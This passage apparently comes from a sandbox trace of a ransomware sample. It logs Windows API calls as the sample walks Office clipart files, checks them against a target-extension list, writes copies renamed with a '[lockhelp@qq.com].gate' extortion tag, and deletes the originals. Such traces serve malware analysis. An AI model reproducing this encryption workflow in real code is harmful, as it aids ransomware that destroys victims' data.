Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.699] lstrlenW (lpString=".dbf") returned 4 [0301.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.699] lstrlenW (lpString=".1cd") returned 4 [0301.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0301.699] lstrlenW (lpString=".jpg") returned 4 [0301.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.765] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3298) returned 1 [0301.765] CloseHandle (hObject=0x4f4) returned 1 [0301.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0301.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0301.766] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.766] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0301.766] GetLastError () returned 0x0 [0301.766] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xce2, lpOverlapped=0x0) returned 1 [0301.815] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0301.816] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.816] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.816] SetEndOfFile (hFile=0x404) returned 1 [0301.817] CloseHandle (hObject=0x404) returned 1 [0301.817] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.817] SetEndOfFile (hFile=0x4f4) returned 1 [0301.823] CloseHandle (hObject=0x4f4) returned 1 [0301.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0301.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.851] lstrlenW (lpString=".doc") returned 4 [0301.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.851] lstrlenW (lpString=".docx") returned 5 [0301.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.851] lstrlenW (lpString=".pdf") returned 4 [0301.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.851] lstrlenW (lpString=".xls") returned 4 [0301.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.851] lstrlenW (lpString=".xlsx") returned 5 [0301.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.851] lstrlenW (lpString=".ppt") returned 4 [0301.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.852] lstrlenW (lpString=".zip") returned 4 [0301.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.852] lstrlenW (lpString=".rar") returned 4 [0301.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.852] lstrlenW (lpString=".bz2") returned 4 [0301.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.852] lstrlenW (lpString=".7z") returned 3 [0301.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.852] lstrlenW (lpString=".dbf") returned 4 [0301.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.852] lstrlenW (lpString=".1cd") returned 4 [0301.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0301.852] lstrlenW (lpString=".jpg") returned 4 [0301.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.852] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1400) returned 1 [0301.852] CloseHandle (hObject=0x370) returned 1 [0301.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0301.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.853] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.853] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0301.854] GetLastError () returned 0x0 [0301.854] ReadFile (in: hFile=0x370, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x578, lpOverlapped=0x0) returned 1 [0301.926] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x580, lpOverlapped=0x0) returned 1 [0301.927] ReadFile (in: hFile=0x370, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.927] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.927] SetEndOfFile (hFile=0x4c4) returned 1 [0301.927] CloseHandle (hObject=0x4c4) returned 1 [0301.927] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.927] SetEndOfFile (hFile=0x370) returned 1 [0301.930] CloseHandle (hObject=0x370) returned 1 [0301.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0301.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.931] lstrlenW (lpString=".doc") returned 4 [0301.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.931] lstrlenW (lpString=".docx") returned 5 [0301.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.931] lstrlenW (lpString=".pdf") returned 4 [0301.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.931] lstrlenW (lpString=".xls") returned 4 [0301.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.931] lstrlenW (lpString=".xlsx") returned 5 [0301.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.931] lstrlenW (lpString=".ppt") returned 4 [0301.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.932] lstrlenW (lpString=".zip") returned 4 [0301.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.932] lstrlenW (lpString=".rar") returned 4 [0301.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.932] lstrlenW (lpString=".bz2") returned 4 [0301.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.932] lstrlenW (lpString=".7z") returned 3 [0301.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.932] lstrlenW (lpString=".dbf") returned 4 [0301.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.932] lstrlenW (lpString=".1cd") returned 4 [0301.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0301.932] lstrlenW (lpString=".jpg") returned 4 [0301.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.932] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1568) returned 1 [0301.932] CloseHandle (hObject=0x370) returned 1 [0301.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0301.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0301.933] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.933] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0301.934] GetLastError () returned 0x0 [0301.934] ReadFile (in: hFile=0x370, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x620, lpOverlapped=0x0) returned 1 [0302.098] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x630, lpOverlapped=0x0) returned 1 [0302.098] ReadFile (in: hFile=0x370, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.098] WriteFile (in: hFile=0x4c4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.099] SetEndOfFile (hFile=0x4c4) returned 1 [0302.099] CloseHandle (hObject=0x4c4) returned 1 [0302.099] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.099] SetEndOfFile (hFile=0x370) returned 1 [0302.105] CloseHandle (hObject=0x370) returned 1 [0302.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0302.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.212] lstrlenW (lpString=".doc") returned 4 [0302.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString=".docx") returned 5 [0302.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.213] lstrlenW (lpString=".pdf") returned 4 [0302.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString=".xls") returned 4 [0302.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.213] lstrlenW (lpString=".xlsx") returned 5 [0302.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.213] lstrlenW (lpString=".ppt") returned 4 [0302.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.213] lstrlenW (lpString=".zip") returned 4 [0302.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.213] lstrlenW (lpString=".rar") returned 4 [0302.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString=".bz2") returned 4 [0302.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString=".7z") returned 3 [0302.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.213] lstrlenW (lpString=".dbf") returned 4 [0302.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.213] lstrlenW (lpString=".1cd") returned 4 [0302.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.213] lstrlenW (lpString=".jpg") returned 4 [0302.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.214] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7084) returned 1 [0302.214] CloseHandle (hObject=0x4c4) returned 1 [0302.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0302.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0302.214] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.214] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0302.215] GetLastError () returned 0x0 [0302.215] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0302.375] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0302.377] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.377] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.377] SetEndOfFile (hFile=0x50c) returned 1 [0302.377] CloseHandle (hObject=0x50c) returned 1 [0302.377] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.378] SetEndOfFile (hFile=0x4c4) returned 1 [0302.440] CloseHandle (hObject=0x4c4) returned 1 [0302.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0302.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.441] lstrlenW (lpString=".doc") returned 4 [0302.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.441] lstrlenW (lpString=".docx") returned 5 [0302.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.441] lstrlenW (lpString=".pdf") returned 4 [0302.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.441] lstrlenW (lpString=".xls") returned 4 [0302.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.441] lstrlenW (lpString=".xlsx") returned 5 [0302.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.441] lstrlenW (lpString=".ppt") returned 4 [0302.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.441] lstrlenW (lpString=".zip") returned 4 [0302.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.441] lstrlenW (lpString=".rar") returned 4 [0302.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.441] lstrlenW (lpString=".bz2") returned 4 [0302.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.441] lstrlenW (lpString=".7z") returned 3 [0302.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.442] lstrlenW (lpString=".dbf") returned 4 [0302.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.442] lstrlenW (lpString=".1cd") returned 4 [0302.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0302.442] lstrlenW (lpString=".jpg") returned 4 [0302.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.443] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7340) returned 1 [0302.443] CloseHandle (hObject=0x4c4) returned 1 [0302.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0302.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0302.443] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.443] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0302.444] GetLastError () returned 0x0 [0302.444] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1cac, lpOverlapped=0x0) returned 1 